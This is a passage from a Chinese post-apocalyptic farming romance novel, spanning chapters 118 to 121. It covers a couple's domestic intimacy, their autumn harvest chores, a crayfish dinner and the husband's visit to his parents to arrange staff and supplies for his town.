两人忙活大晚上,一不小心又是将近十二点,时枌只想洗澡,催促赵弋拎水上楼,她拿着蜡烛在楼梯口等他过来。
搓红薯搓得人都麻了的赵弋累到不想说话。
但上楼后,他顺手把上衣脱了,将人抵在浴室门口,给她看自己充血的胳膊肌肉。
“是不是变大了。”
这根本就不是个疑问句。
只想洗澡的时枌:“……是是是,变大了呢!”
赵弋:“棉花地里看别人看的起劲,我练了一晚上你就这么敷衍?”
她理直气壮:“你我能天天看,人家看了就没了,我当然要多看啊!”
“……”
他竟然觉得很有道理。
第118章 第118章“适应一下就习惯了。……
看吧,把她逼急了说话又不好听,他还得生气。
时枌抿抿唇,不嫌弃地仰头在他唇上印了一下。
“我先洗,很快的,你先等一会儿。”
她真的累到了,想好好洗干净早点睡觉。
看她这架势就知道她今天得洗头,洗头发还得他下去拎热水,时间又长,他总不可能干等。
赵弋压下心里的酸楚,“我去拎热水上来,一会儿我在楼下洗算了。”
楼下还能直接放水,两人同时洗也能快一点。
时枌应了声好就钻进去了。
滑不溜手,跟泥鳅似的。
赵弋也脏,给她拎完水又去卧室拿了套睡衣就下楼洗澡,上来的时候时枌都还没洗完,他先进蚊帐,喷了点花露水,躺到自己的荞麦枕头上,听着浴室里时不时的水声,很快就扛不住困意睡着了。
时枌用干毛巾包着头发拧了又拧,但脑袋还是潮湿的,没办法跟用完吹风机一样很快就干,只能包着毛巾上床睡觉。
她本来不想吵醒赵弋,奈何这人听觉格外灵敏,她刚沾枕头就靠了过来,一把把她抱住。
他体温偏高,对时枌来说热的不行,她不想刚洗完澡又是一身汗,这样不就是白洗了?
嫌弃的挪了一下,结果是被更用力搂了回去,附赠一声疑惑又不满的“嗯?”
算了,反正她是真的困了。
两人住阳县的时候也不是天天都有兴致折腾的,赵弋本来一天上十二个小时的班,累不说,还很烦躁,时枌则是到处跑消耗体力,到家各睡各的,除非哪天两人都比较清闲又有兴致才会亲近一些。
现在在农场也是这么个状态。
时枌很满意这种状态。
只是睡到一半,被耳边厮磨弄醒。
……看来他还是不够累。
时枌就去推他的脸,“别闹。”
“我好不好?”他沉闷的声音还冒着酸气。
所以保镖这个坎还是没有过是吗?时枌绝望地想着。
“你好。”
这两个字怎么听上去怪怪的。
他又拉着她的手摸自己的肱二头肌,“我大不大?”
“大大大行了吧,你最大。”
他满意地在她脸上亲了一下,“嗯,以后每天睡前都说一遍。”
“……”那还是杀了她吧。
好在赵弋只清醒了一会儿,闹完就睡了。
时枌才得到了解脱。
第二天赵弋起的比昨天早,看见她还在睡,心里那点男性自尊很快就得到了满足。
既然早起了,一天就能多出几个小时多干一点活儿。
赵弋是一个会给自己安排事情的全自动牛马。
他把院子里堆着的棉花搬到马场去,铺上油布,再把棉花倒上去散开晒。
这是件力气活,不适合现在的时枌来干。
昨天两人睡的都比较晚,赵弋估计今天时枌得多睡一会儿,进屋后又看了眼堆在墙边的桶,这个他不知道该怎么处理,还是得等时枌来弄,不然他怕糟蹋东西。
第二件事就是去池塘下地笼,多下几个,她念小龙虾好久了,到现在也没吃上,他提前下好地笼说不定今天就能安排,也能弥补两人昨天没吃上肉的遗憾。
第三件事就是日常喂牲畜。
牛羊不需要喂,大花跟小牛放出去吃草就行,羊一家三口羊圈内也能够到外边的草,暂时不需要,鸡鸭鹅小鹌鹑饲料都有,正常喂就行,至于猪,赵弋记得时枌的安排,把昨天的红薯渣都倒给了它们,算是今天的第一餐。
平时猪也是吃点他们的剩饭,再就是饲料,以及院子里有啥多的就喂给它们,反正也不挑。
猪圈里小猪明显长大了一些,但这些小猪今年是吃不了的,要留到明年,那几头大猪可能过段时间就要被时枌处理了。
等做完这些,估摸着时枌该醒了,他才去厨房生火做饭。
今天他打算做馒头,也能有点花样。
从最简单的馒头开始,秦丰给他的菜谱里还有馒头升级版:包子,豆沙包、肉包、咸菜包……学会一种,只需要更换馅料就是新的。
但是做馒头还是很需要技术的,赵弋严格按照食谱来,掐秒表计时发酵时间,也没
其他的要干,正好听见楼上的动静,他就上楼去。
时枌打这哈欠从卧室出来,看见他抬了抬眼皮算是打招呼,就转身进了浴室洗漱。
之前她囤的生活用品都是按照她一个人生活来算的,现在家里多了个人,时枌才知道原来牙膏的消耗速度会变得这么快,这也提醒了时枌要为接下来的冬天做准备。
“下次什么时候去兰城啊?”时枌问他。
赵弋就靠在浴室门框,看着她刷牙。
“你想去?”
“要补牙膏了。”
赵弋视线落到牙膏上,很自然地发散思维想到了其他生活用品,跟她思路一致。
是该去补一补了,马上就是冬天。
阳县物资有限,去兰城是最好的选择。
“下个月可以吗?”
“可以。”正好下个月她彻底忙完秋收。
“明天我要去一趟兰城,时间不够采购,等下个月我们再专门去好好挑一下。”他解释道。
“嗯嗯。”
时枌咕噜噜漱了口,又洗了脸,看见他还站在旁边,疑惑看过去,心想他是不是又要发神经问她大不大之类的问题。
都大白天了,不至于吧?
平时赵弋白天还是很正常的。
两人对视,眼中都有疑惑,但很快赵弋就挑了下眉毛,不用说话,明白了她的意思。
“我只是在想,要不要补一下昨天晚上缺掉的部分。”
时枌一下子睁大眼睛,困意全无。
“什么叫补?”
“……原本要做却没有做的事情?”
“这种事是每天都要做的吗?!”时枌更震惊了。
“不是吗?”
“那按照你这个说法阳县那些天怎么算!”
“……也可以补,你需要的话。”
“……”
好可怕。
时枌跟看怪物似的看着他,要越过他出浴室,却被人拦腰搂住。
在赵弋看来,事情就有点严重了。
他俯身低头,两人夹在门中间,空间实在是不算宽敞,低头就能碰到她鼻尖。
“前天弄完之后你就变了态度,我会在想是不是我做的不好。”
这种事还是越早说清楚越好。
“有没有可能是我昨天太累了呢?”时枌也没想过他会这么想。
“所以前天是还可以的?”
时枌硬生生把还可以三个字咽了下去,遵循本心说了“很舒服”。
赵弋就笑了。
他很满意她这个回答。
时枌莫名脸热,伸手推他,“让一让,我要出去。”
赵弋却将她挤进浴室,抱起放到洗手台上,凑过去亲吻。
鼻尖都是牙膏的薄荷香。
本来就想补一下昨天缺失的亲近,但是亲着亲着,耳边她重重的呼吸,手掌之下是人逐渐上升的体温,让他感知到她也跟自己一样动情,简单的亲吻似乎就不足以弥补两人之间始终空缺的距离,手掌压上裙摆。
滚烫的手心隔着布料都觉得热,腿上那边皮肤一片潮热,而后又逐渐向下,契合般得贴着她柔软的小腿肚。
烫得时枌一缩,膝盖在人腰上重重地蹭了一下。
赵弋呼吸一滞。
她为了保持平衡,也是习惯使然,胳膊圈着人脖子,喘着气,用浆糊一样的脑子想了想,问他:“早上这样……不好吧?”
他又靠过来边亲边抵着人唇说话:“已经是中午了。”
“……”
所以早上不可以中午就可以吗?
明晃晃的太阳挂在外边,时枌就有种光天化日的羞耻感,扭头躲开他的唇,开始跟人商量,“不行啊,我不习惯。”
“适应一下就习惯了。”
晚上只有烛光,他看不太清,偶尔还是吹了蜡烛,更是两眼一抹黑,但黑也有黑的好,其他感官被扩大,他亲自丈量过所有,已经在脑子里留下一份详尽的图纸。
她扭头,正好留给他雪白的颈侧,低头时看见自己晒黑的手臂跟人白皙的皮肤,那种对比强烈的肤色差让人上头。
从颈侧到耳垂,时枌整个人都往上缩,鸵鸟似的埋在他肩头,经过上次知道要干嘛,她就会提前有点紧张,声音都是软软的,试图靠说话转移注意力,“你……手怎么这么烫?”
奇奇怪怪又热又饱的感觉。
偏偏洗手池又是冰凉。
他在人耳边低语:“还好吧,没你烫。”
竟然一下子就明白他在说什么的时枌:“……”
总感觉自己走上了什么不得了的道路。
这次好像更容易保持清醒,只是这地方实在是不好,很累,她忍不了就在赵弋耳边哼哼唧唧抱怨,但真的上了头就没空去在乎这些了,等到白光过去,她平复着呼吸,泪眼朦胧眼睛都红了,看着他将自己抱起来,竟然顺手在自己裙摆上擦了手。
那动作太自然了,自然到时枌花了几秒才反应过来。
时枌气得咬他脖子。
浅浅被犬齿扎了一下,没什么痛感,倒是给他另一种感受。
“反正是我洗衣服。”他说。
“……”
时枌无话可说。
因为他说的是事实。
今天没拉着她手,反而是自己来,只是抱着她去了沙发再坐下,时枌想伸手,被他拉住。
“没事,不用。”他嘴上这么说。
但依旧是扣着人腰亲吻,不断压近距离,陷入又一次潮热的泥沼。
一早上时枌就没怎么清醒过,唇瓣都发麻,好像是肿了,偏偏他今天格外……兴致高昂。
最后一段他才拉她的手。
时枌完全不想动弹靠在人肩膀上,手里还是他,完全没经过脑子问了一句:“你打算什么时候进来啊?”
赵弋头脑一片空白。
“叮铃铃——”
预定好的闹钟一下子炸开。
整个二楼乱成一锅粥。
第119章 第119章活肯定能干完的。
时枌被吵的脑袋都要炸开,捂着耳朵问他什么东西。
赵弋手忙脚乱关了闹钟,脆弱的神经再经不起一场类似的折磨,将人搂紧安抚:“定的馒头发酵闹钟。”
“哦,那你要去做早饭了。”
“嗯。”
虽然是午饭。
他低头看看两人之间,脑子里仿佛还有刚刚被她那句话刺激出来的嗡鸣,喉咙发紧,隐隐又不对劲起来,“进去是什么意思?”
因为小时候生长环境不同,时枌在某些事上一无所知,但在另一些事上却又没那么敏感害羞。
比如接吻拥抱这种在她认知之外的,但是更进一步,在她眼里似乎又是不一样的存在,这跟赵弋收到的教育是不一样的。
“你不知道?”她奇怪地问,“你没见过虎子大熊生孩子吗?”
“……”
启蒙竟然是虎子大熊。
“我以为应该是很痛的,但是好像也没痛?人不太一样是吗?”
“不太一样。”赵弋斟酌着跟人讲解起来,“也不一定,这种事要看技术。”
“啊,那你技术很可以?”
“嗯。”他很不要脸地点头,明明他也是刚刚才开始学着伺候她,只是习惯地按照她的反应来,没想到效果不错。
“那你在等什么?”
直言直语再次惊到赵弋。
“家里没套。”
“对哦,那套这个东西有什么用呢?”
“防止怀孕。”
时枌终于明白了。
赵弋又问:“你喜欢小孩子?”
“一般般。”
所以为时尚早。
赵弋将人抱去洗手间让她清洗,自己再去给她拿了换洗衣服,自己则是拿着衣服等她弄完才进去换。
看着堆成山的衣服,赵弋两眼一黑。
时枌也觉得很可怕。
明明她一个人的衣服没有那么多的。
“我做完饭再来洗。”他说。
时枌很能体谅他又要做饭又要洗衣服的辛苦,想着活总是要两个人干,自己应该要分担一些,于是说:“今天我洗吧,你去做饭,很快的。”
“好。”赵弋一口应下。
他应得太快,以至于时枌都愣了一下,开始反思自己是不是太过怜惜他。
赵弋面不改色,靠过来亲了她一下,就下楼做饭去。
时枌留在二楼,准备搓衣服。
其实都只是汗湿了的衣服,并不脏,只是二楼没有自来水,她就只能拎着一桶衣服下楼,再去后院水龙头洗衣服,顺便晾干。
洗衣服的时候就在环顾四周。
院子里大部分田地都被清干净了,只有几棵留种子的老桩还在,显得光秃秃的。
秋收忙的差不多,小麦收了,水稻收了也从阳县脱壳运了回来,时隔多年她又见到了白白净净的大米而不是自己脱壳的糙米,脱玉米粒的机器也在家,最近就可以开始弄玉米了。
棉花也只剩田地里的一小部分,不着急采摘,等到之后她再去把玉米杆还有棉花杆一起砍回来当柴烧。
除此之外,还需
要收获的就是之前种下的秋土豆红薯,这部分种得晚,但是占地面积大,还需要一段时间生长,估计得彻底冷了才能收获。
她每年秋播都会种一些菜苔这种耐寒的青菜,再就是小白菜之类的,种的不多,土地也需要恢复,冬天就是一个让它们恢复的季节,今年材料比较多,到时候让赵弋去把带回来的稻壳洒在地上翻地,这样土壤就会更疏松透气一些,带回来的菜籽饼也可以,经过一冬天,菜籽饼就会变成肥料,她这几个月堆的肥也能一起用上,给果树们埋冬肥。
还有一件重要的事,就是给农场里的果树修剪枝条。
满脑子都是活儿,一项一项列好时间线,时枌的衣服也洗的差不多了,赵弋过来帮忙拧干,她拿衣架挂上晾晒,后院这边本来就是她平时洗东西的地方,所以也有一根晾衣绳,只是之前有秦丰他们来住的时候这根晾衣绳挂着他们的衣服,时枌就会把自己的衣服拿到楼上去晒,现在家里没别人,衣服当然是哪里方便挂哪里。
“饭做好了?”时枌边挂衣服边问他。
“差不多,馒头还在蒸,再做个丝瓜蛋汤,这一餐简单一点,晚上吃好的。”
时枌没意见,但她好奇晚上“好的”是什么,直接问出口。
“我在池塘下了地笼,晚上可能有小龙虾。”
啊,小龙虾!
时枌终于又想起了这一茬,“池塘小龙虾比较少,你得去田埂那边下才行啊!”
“是吗?”赵弋没有经验。
“一会儿吃完饭我们再去田埂那边下,那边真的多,因为水比较浅,鱼也少,这个季节估计小龙虾都长成大龙虾了。”
爷爷奶奶说以前他们那时候每年到小龙虾的季节大家都会吃小龙虾,导致价格特别高,而且虾也大多都是青壳还没长大就拿出来卖了,那种真正的红红的龙虾反而很少而且很贵,但论起口感,其实两个都差不多多,只是青壳虾更容易碰到那种刚脱壳口感不好的。
这个午饭两人也只是简单填了填肚子,时枌仔细想了想,觉得他们这样不如喝营养液,还能省下时间干活。
结果赵弋说:“我以为你的意思是以后我们都只吃正常饭菜,所以我一根营养液都没带过来。”
“……行吧。”
麻烦就麻烦,现在家里两个人呢,活肯定能干完的。
很快,两人开车去田埂下了地笼,这一次时枌把家里地笼都拿出来了,还碰到了烈烈跟阳阳,时枌跟他们说今天很忙不能陪他们钓小龙虾,烈烈跟阳阳就把自己的水桶给时枌看。
他们出来一小时,就已经钓了半桶虾了。
“那你们还钓吗?”时枌问,“要回去的话坐车回去吧,拎这么重的东西怪远的。”
烈烈阳阳很高兴上了他们的车,时枌把他们送了回去,远远就看见了转业成功的老二。
小虎斑牧起羊来也是有模有样的,竖起耳朵身姿挺拔聚精会神。
赵弋也看见了,“要不让老大老三老四也学一下。”
家里狗多,也该分一分职业了。
回去路上两人就在商量,“我观察过了,老大比较胖,健壮,性格沉稳,适合看家护院,跟大熊一样,但是奔跑不如大熊,可能做不了猎犬。”
“嗯,那就负责守大门,过段时间我做个狗窝放在农场大门前。”
赵弋说的“大门”实际上就是之前修建马场顺便扩张农场时用围栏围起来的那部分,正对着大马路,留了一个方便车出入的缺口,被称作大门。
“老三性格比较合适,可以培养来牧羊,放牛也能方便找。”时枌说。
“嗯,老四留着当猎犬吧,总得有狗接班。”
“行,到时候我让罗辉帮忙培养一下老三。”
聊着聊着就到了家,赵弋去把脱玉米粒的机器弄出来,准备脱玉米粒。
这个机器其实很简单,一次只能放一根玉米,竖着进去,摇手柄,玉米粒就会被脱下来。
这个是比较简单的,还得靠人手摇,其实效率不高,阳县当然有更高端的自动脱玉米粒机器,只是要插电,时枌这里没有,才只能把这个老式的搬了过来。
不过她搬了两台,两个人一起摇就会快一些。
赵弋洗完碗就来脱玉米粒了。
玉米要晒干才好脱,之前就已经晒过,干崩的玉米咬上去都牙疼。
时枌去把昨晚上的水桶表面的水倒掉,底部就是沉淀下来的红薯淀粉,挖出来晾晒。
几十斤红薯实际上得到的淀粉也就十几斤。
竹篾放到土窑上晒淀粉,时枌就去跟赵弋一起摇玉米。
看见棉花都被他拉出来平铺晒好,时枌很是欣慰。
哗啦啦的玉米粒散落一地。
昨天搓红薯今天摇玉米,赵弋沉下心来慢慢干,一边问她:“这些玉米我们吃吗?”
时枌:“不是啊,硬邦邦的,我们吃不了,这些都是留着作饲料的。”
农村大部分都是用玉米喂鸡,非常方便,玉米又比较容易种,放在地窖也比较好保存,每次只需要抓一把丢进去就行。
“哦,那它们要吃多少?”赵弋知道工具房里堆的都是玉米。
“哎呀,吃不了多少的,这些到时候泡一泡也能喂猪。”
“那鹅呢?”
“它们也能吃,但是平时放出来吃草就够了,除非冬天不需要专门喂饲料。”
“哦。”又学到了。
时枌养这些鸡鸭鹅能帮忙消耗农场里多余的粮食跟菜,平时还能捡蛋吃,维持到现在已经形成了自己的一套生态。
玉米依旧哗啦啦,洒在地上。
这些现在不用管,等到时候一起收拾扫起来就行,反正是饲料,不是给人吃的,有点灰尘也没什么。
时枌有时候摇得手累了,就站起来活动活动胳膊,或者换一只手继续摇。
赵弋则是两只手换着来,都锻炼到位。
中途时枌再去拿耙子去翻棉花,保证它们晒得彻底、晒得均匀。
那么多玉米今天是不可能全部摇完的,到了下午两人手都麻了,就收拾玉米,装袋收到工具房里,再带上水桶开车去田埂收地笼。
趁着太阳还没落山,两人下车去检查收获。
地笼里就扔了几块馒头而已,结果收起来果然是沉甸甸的,几乎有三分之一的地笼都是小龙虾。
这东西没人吃就容易泛滥。
因为实在太多,就只能连带着地笼一起丢到水桶里,结果因为地笼下的太多,桶还不够用,剩下的就用地笼装着挂在车外,就这么带回去。
时枌看着这些龙虾发愁,好几十斤,她根本吃不完。
“送去罗辉家吧?”
“好。”
本来就顺路,车开到罗辉家。
余袅连忙拒绝:“不用了,他们俩天天钓小龙虾,我刷小龙虾手都起皮了,你们吃吧!”
“……”
看余袅惊恐模样,估计是被小龙虾折磨的不轻。
他们就只能自己带回去,然后……开始刷小龙虾。
很快,时枌也厌倦了 。
第120章 第120章不上班了?
末世前大家对小龙虾的态度褒贬不一,但是在时枌心中,管他污染不污染的,十五年后的现在,什么污染都没了。
以前在家小龙虾都是爷爷刷的,她根本不用碰,因为年纪小皮肤嫩担心被小龙虾夹手,结果现在长大了,爷爷奶奶也不在了,自己想吃一顿小龙虾还得这么辛苦,时枌一想就觉得心酸。
赵弋看她边刷边叹气,天也快黑了,而他们还有一堆小龙虾要刷。
“你去弄别的吧,我来刷。”
他们只用准备今天这一顿就行,挑那些看着快死的、缺胳膊断腿的小龙虾先做了,其余的等明天白天再弄,一起油焖了再打电话让秦丰他们派人来拿。
时枌就把刷子一放,“行,那我去收淀粉棉花。”
晒了一整天,竹篾上只剩下灰白色的淀粉,这个留一部分装在罐子里平时做饭用,其余的就用来做红薯粉条。
棉花明天还要晒,时枌用油布盖了一下就行,看天空明天也不会下雨。
接连几天大太阳,土地都干巴巴的。
估摸着赵弋刷得差不多要做饭了,时枌就去厨房生火,一个锅蒸米饭,一个锅一会儿来炒菜。
她生好火正在淘米,赵弋就带着满满一大盆小龙虾过来。
一开始赵弋觉得小龙虾这东西不能浪费,尽量保留全部身体,只用剪子剪掉小脚留下大爪子再抽掉虾线就行了,但是剪到后边他就有点不耐烦,而且时枌说虾头没什么好吃的,还没肉,他之后就只拧虾尾了,这样更快更方便。
“凉拌黄瓜凉拌皮蛋,番茄蛋汤,再加油焖大虾,差不多这些?”赵弋问她。
“嗯,差不多。”两人吃饭不用太丰盛,今天本来就很累了,有油焖大虾一道菜就足够,其他的当然是怎么简单怎么来。
避免串味而且天气热,赵弋先做番茄蛋汤端出去晾着,再来做小龙虾。
这个菜赵弋并不会,主要靠时枌指挥,他来操作。
提前备好了大量的生姜大蒜蒜叶,时枌也提前剁好了辣椒。
先下油跟辣椒生姜大蒜,再加虾进去,这里没有酒,没办法,就放一些能去腥的调料,再焖一下,出锅前加蒜叶就行了。
赵弋在一个锅忙活,灶台上另一个锅蒸着米饭,炉子上放了个蒸锅,时枌把红薯粉加水和成糊,再过滤一遍,往一个大汤碗里倒了一层,先蒸,等过几分钟蒸熟了再倒一层继续蒸,直到倒完,都蒸透了才算完,所以时枌要一直盯着。
中途小龙虾的味道弥漫得整个厨房都是,一开始因为太辣两人都被呛得咳嗽,不过后来就习惯了,看差不多了揭开锅,时枌拿赵弋的手表拍了照片,烟雾缭绕中红彤彤的小龙虾,发到了群里。
红薯粉也蒸好了,时枌用纱布包起来放到外边通风的地方晾着,赵弋把菜都端上桌,两人终于能开始吃饭。
小龙虾太多,盛了两大盆才装完,时枌洗了手坐上来就开始扒虾,吃得起劲。
“虾壳都留着喂鸭子跟鹅。”时枌吃虾还不忘记叮嘱。
“嗯,之前刷小龙虾都没扔。”这屋子里就没有真正的废物,反正什么都有用,只是他不知道而已,所以在丢东西之前赵弋都会询问时枌。
油焖大虾味道非常不错,时枌种那么多辣椒也不是白种的,不同辣椒调味不一样,一锅油焖大虾当中辣椒跟生姜是最重要的功臣。
做得有点辣,两人一边扒虾一边吃点凉菜,饭其实没吃多少,至于虾钳,因为肉少被时枌嫌弃先丢到一边等一会儿再吃。
赵弋不习惯剩饭,自己先把米饭吃完了,再来帮她剥虾放到一个干净的盘子里,还好都是虾尾,剥起来还是很容易的。
时枌就不着急了,吃点凉菜喝点汤,慢慢吃。
两人手上都是油不方便看手表,所以手表一直弹消息也没时间处理,直到吃完饭,赵弋去洗碗,时枌收拾桌子,把虾壳还有之前处理虾的残渣扔给鸭子和鹅吃,回来两人在厨房用洗洁精肥皂洗了半天的手,还是觉得手上有一股油焖大虾味儿。
赵弋说要在一楼洗澡,反正他洗澡更方便,时枌则是去二楼洗,顺便看看手表上的消息。
群里一片哀嚎。
时枌心想她这边小龙虾泛滥,实在是太多,自己一个人也吃不完,于是就在群里问他们有没有时间来一趟,帮忙刷虾做虾,再带回去吃。
也不用他们都来,谁有空来帮忙就行。
意料之外,秦丰竟然说可以过来,他跟叶枝蔚一起,明天下午下了班过来住一晚上第二天早上早起开车去阳县上班就行。
这话一出,其他人都通透了。
是啊,不方便请假,那就晚上来吃小龙虾啊!
于是纷纷举手报名,最后是秦丰叶枝蔚骨头张照照周霓都过来,因为车坐不下,白芳糯糯还有张克宋阡的就由他们第二天带过去。
有人来帮忙就没问题了。
时枌又提醒秦丰带料酒过来。
时枌舒舒服服洗了澡,手狠狠搓了几遍试图洗干净那股子腥味,可以洗完她还是觉得有。
赵弋等着她的脏衣服,上来收了带下去打算今晚就给洗了。
时枌叫住他:“今晚得去下地笼,明天他们下午过来。”
“哪几个?”
“都过来。”
“……”
不上班了?
赵弋看了眼群消息才知道。
反正这边田埂里小龙虾都泛滥了,多抓一些到时候送去阳县也行,毕竟他们几个还得申请车辆开过来,找个适当的理由更有说服力。
“行,一会儿我去。”赵弋带着脏衣服下去了。
很快时枌躺在沙发上看书的时候就听见车发动的声音,逐渐远去,又过了会儿,车又回来了,再就是楼下关门熄蜡烛的动静。
以前都是她自己一个人关门,现在她安心躺在二楼沙发上,有人帮她锁门吹蜡烛,时枌觉得格外惬意。
因此赵弋上来的时候,时枌就很热情地张开双手让他抱自己去卧室。
赵弋已经习惯她偶尔突如其来的亲近,也大概摸索出了规律,大部分都是在他干活之后。
很明显是哄着他继续卖力干活的手段。
时枌抱着人脖子,细数最近的日程安排。
不比他副官安排得少。
赵弋在人颈间亲了亲,“嗯,知道了,等以后我安排好阳县那边的工作。”
最好是阳县一周,农场一周,轮着来。
要不是为了节约资源他都想天天开车上下班。
脚崴了之后时枌就养成了挂在他身上的习惯,稳得很,而且这两天赵弋不是搓红薯就是摇玉米再不然就是刷小龙虾,胳膊看着都粗了一圈。
两人歪到床上,时枌又嫌热,推开他,让自己尽量贴着凉席。
赵弋也不想今晚再擦枪走火,他明早要去兰城。
“明天去兰城买不了太多东西,但是可以带一些小的,有没有什么想要的?”赵弋问她。
“嗯……”时枌还真的想了一下,“胡椒粉酱油醋之类的有吗?”
她这边没有醋,凉拌菜就总是缺那么点味道。
“可以,明天带。”
“那记得买两份,罗辉家肯定也需要。”
“好。”
今晚相安无事,开着窗,晚上凉丝丝的风吹进来,屋子里也显得凉快不少。
第二天一早上赵弋在闹钟响起之前就醒了,掐了闹钟,翻身抱着她在人颈间深吸几口气,调整好心情才起床上班。
上班前,先把棉花上的油布摘了方便晒,早饭是昨天剩下的馒头,赵弋今天没那么多时间做早饭,给牲畜们喂了饲料就开车往兰城去。
快过冬了,过冬的物资也需要他去兰城谈,除此之外,他还打算找亲妈后爸啃老。
知道他妈平时忙,赵弋一早直奔家里,正好赶上家里的早饭。
平时不见人影叫都叫不回的儿子一觉醒来出现在客厅是什么感觉?
唐璟看了眼窗外,确定今天太阳没从西边出来,扯了扯嘴角,“怎么,阳县待不下去了?想让我给你找关系调回来?”
同样惊讶的赵千嶂说话就好听很多:“是不是碰到什么困难了?有困难就跟家里说,我们肯定会尽力帮你的。”
赵弋等的就是这句话。
他看向他妈:“我办公楼缺一批行政人员,您人缘好,帮忙安排一下?”
阳县这个草台班子虽然磕碜,但是只要有人的地方就会有勾心斗角利益纠葛,他周围的人都是大老粗,很多时候办事没那么圆滑,这就需要一些常年当秘书、有经验的人来辅佐,——没错,说的就是秦丰。
唐璟优雅落座吃着面包,“要几个?”
“有多少要多少,最好能拖家带口一起搬到阳县的。”
“你想的真美。”唐璟没忍住嘲讽。
“那要我干点啥?帮你走私一批武器弹药?”赵千嶂等半天了,主动提了起来。
“哦,也没啥,就想让您帮忙在基地宣传一下,招一批兵过去,最好是素质好的那种,挑一挑有没有阳县本地的。”
“哦哦,你那缺人啊。”
“在内部问一下,阳县周边对那地方有感情,单身,重点宣传在于分房子,生活稳定舒适,地广人稀。”唐璟知道了儿子想做什么,跟着补充了两句,没拆台。
以前她希望儿子能在兰城混出名堂,不走政途跟着他爸在军区干也行,反正也是实权,结果没想到她儿子这么不争气,对权力斗争毫无兴趣。
好在他为了入赘跑去了阳县,现在不得不担起阳县这个烂摊子,反而让唐璟觉得这孩子能有所作为。
兰城也是从无到有一点一点建设起来的,阳县为什么就不可以呢?
而且从地理位置上看,阳县资源丰富,土地广阔,离源城更近。
她不是兰城内部那群老迂腐觉得阳县是乡下,眼睛只放在铁矿煤矿上边,对她来说,重要的是人,是生态,至少有了人,才会有阶级,才会有权力划分。
混沌初开,最是容易获得权利的时候。
她身边当然有一群这样的人,在政坛如鱼得水,但苦于兰城这个死寂的泥潭。
他们当然也是想换个环境的。
“所以你打算走什么程序把这批人带过去?”唐璟问到。
招人不难,难的是让这一批人过明路送到阳县去。
“哦,就说我们那边死了人,缺人干活,申请补充人口。”
“……”唐璟嘴角抽搐。
真是简单直接的借口。
“以矿山的名义借调一批,说明年春天就回来,”唐璟说着看了儿子一眼,“人我帮你找,不过你做好心里准备,上个月又来了一批源城难民,你提出补充人口,他们肯定会把这批难民塞给你。”
赵弋挑眉,“那正好,我还愁我们那死的人不够呢。”
这是什么魔鬼发言,赵千嶂都咳了咳示意他适可而止,“那什么……我知道你那边鱼龙混杂不好管理,但是杀人嘛……你偷偷拎出去杀不就行了?到时候再说是什么丧尸偷袭啊,或者在S级任务上找几个替罪羊也行嘛,别搞的那么难看。”
“那群S级任务就是你们这么搞出来的?”
“咳咳,胡说什么!”
“……”
懂了,不全是,但肯定有一部分是替罪羊,就像当初基地彻查挂名混积分一样,是他们这种人默认的潜规则。
还是兰城水深啊。
赵弋看亲妈的眼神都变得敬佩起来。
他在阳县那几千人里混的生不如死,他妈在兰城二十万人里如鱼得水。
“妈,”赵弋忽然正色道,“您考虑过去阳县吗?”
唐璟冷笑一声,“你给我安排随时用的车辆司机保镖以及保姆?”
“你保证我一日三餐营养健康?”
“我的衣服都是手工定制,办公室的落地窗能看到整个兰城。”
“……您还是呆在兰城吧。”赵弋彻底死了这条心。
吃完饭,他才想起来,“我今天要去东区一趟,时间紧,有些东西麻烦您二位找个人帮忙买一下。”
说着赵弋就递出一张单子,想了想,还是交给了他爸。
“买东西?这事简单,我今天休息顺便开车出去帮你买就行……这什么玩意?酱油醋?我还以为你让我帮忙走私弹药,就这玩意?”
“如果可以,我当然也希望您能帮我弄一批5.56、7.62。”
“哦对,正好你来了,我给时枌准备的礼物你帮忙带过去。”
唐璟拿着那张单子仔细看了一遍,目光落在末尾,“你要一箱避孕套?干什么?走私吗?”
赵千嶂:“……”
赵弋:“……”
要避孕套还能干嘛。
120-130
第121章 第121章你一个处男用的明白吗……
“您就当我走私。”赵弋吃完包子,扭头问他爸,“包子馅菜谱有没有?”
正好他最近想学做包子,这个粉条的馅味道不错。
说到粉条,赵弋就扯过纸条,在上边一想避孕套后加了一箱粉条。
看时枌辛辛苦苦做粉条,既然兰城这边有,不如多买一些囤着冬天吃。
赵弋吃完饭就蹭他爸的公车去东区,出门前被唐璟叫住:“你中午回来吃饭,跟你爸把院子里枇杷树下的丧尸挖了带走。”
语气十分嫌弃。
树下埋丧尸,这操作想都不用想就知道是谁的主意。
赵弋扭头看他爸,“你跟时枌学的?”
赵千嶂笑的十分淳朴:“嘿嘿。”
从农场回的当晚他带着保镖司机沿路就找丧尸,找啊找啊,大晚上啥也看不见,硬是没找着,但赵千嶂又不甘心,最后还是碰到了一队外出做任务的兰城小队,跟他们要了个丧尸尸体放后备厢带回去,连夜埋了,结果第二天一早上就被鼻子尖的唐璟闻出不对劲,一问他就招了。
“我这不是想着让枇杷树长快点嘛。”
这话的意思是他也不想再挖出来。
时枌之前处理丧尸都是烧了埋的,还得碾碎,这样埋下去肥效更快而且没啥味道,像他这样没脑子直接埋,天气一热肯定就有味道。
上了车,赵弋就在后座给他爸支招:“你挖坑挖深一些就没什么味道。”
时枌平时埋鸡粪羊粪就是这样。
但现在埋都埋了。
“那我得挖出来重新埋?”赵千嶂很苦恼,心想一会儿得趁着唐璟上班抓紧时间动工。
“也不用,你从旁边挖点土给它压厚一点就行了。”
“对哦。”赵千嶂豁然开朗。
把儿子送去上班,赵千嶂就把手里的单子交给了秘书去采购,并叮嘱:“送到家,装他车后备箱,顺便给他那辆车油加满,后备箱再装两桶汽油。”
“好的赵将军。”秘书闻言就去办了,离开前想起前段时间赵将军偷偷弄到手的“礼物”,提醒道:“礼物可能过不了城门口安检,到时候您要不要……”
别人的面子可以不给,但是在兰城,赵千嶂这张脸还是很有用的。
考虑到自己辛苦弄来给儿媳妇的礼物,赵千嶂十分重视,“后边的会议推一推,到时候我送他出城。”
“明白了赵将军。”
***
时枌早上起来蒸了馒头垫垫肚子,就去罗辉家蹭饭。
家里就她一个人,她是真的不想生火做饭,来罗辉家也是顺便邀请他们家晚上来农场跟秦丰他们一起吃饭,顺便解释赵弋去兰城采购调味料了,到时候会分给他们家一份。
家里正缺调味料,余袅笑着说谢谢,一个劲儿让她吃肉。
他们家从来不缺肉吃。
“正好我今天上山,要是有什么收获晚上就跟小龙虾一起处理了。”罗辉也说。
烈烈跟阳阳得知有客人要来都很兴奋。
“那糯糯回来吗?”阳阳问。
